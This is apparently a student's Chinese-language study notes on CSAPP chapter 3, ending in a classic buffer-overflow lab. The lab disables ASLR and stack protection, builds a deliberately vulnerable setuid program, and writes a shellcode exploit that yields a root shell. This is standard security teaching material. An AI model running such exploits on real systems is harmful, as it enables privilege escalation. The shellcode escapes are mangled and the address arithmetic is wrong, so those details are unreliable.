教材学习内容总结
第三章 程序的机器级表示
第一代处理器芯片：8086
第一代超线程处理器芯片：Pentium 4E
程序编码
假设有x1.c和x2.c两个程序，使用命令gcc -Og -o x x1.c x2.c编译
数据格式
访问信息
整数寄存器
操作数指示符
数据传输指令
压入和弹出栈数据
缓冲区漏洞溢出实验
实验准备
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。输入命令安装一些用于编译 32 位 C 程序的软件包：
$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev
初始设置
使用以下命令关闭地址空间随机化：$ sudo sysctl -w kernel.randomize_va_space=0
这个防护措施在 /bin/bash 中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
漏洞程序
在 /tmp 目录下新建一个 stack.c 文件：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
编译该程序，并设置 SET-UID。命令如下：
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
攻击程序
新建一个 exploit.c 文件
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
进行gdb调试
$ gdb stack
$ disass main
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd420(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)
现在修改exploit.c文件！将 x??x??x??x?? 修改为xc4xd0xffxff
编译 exploit.c 程序：$ gcc -m32 -o exploit exploit.c
先运行攻击程序 exploit，再运行漏洞程序 stack
whoami 是输入的命令，不是输出结果。
通过攻击，获得了root 权限！
练习
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通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。
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将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。
代码调试中的问题和解决过程
教材中代码调试有问题先去https://shimo.im/doc/1i1gldfsojIFH8Ip/看看，如果别人没有提出相同问题，可以编辑文档添加，然后把自己提出的问题复制到下面：
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问题1：虚拟机崩溃了！
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问题1解决方案：不要用虚拟机做这个漏洞实验！
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问题2：出现攻击实验段错误提示
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问题2解决方案：重新使用 gdb 反汇编，计算内存地址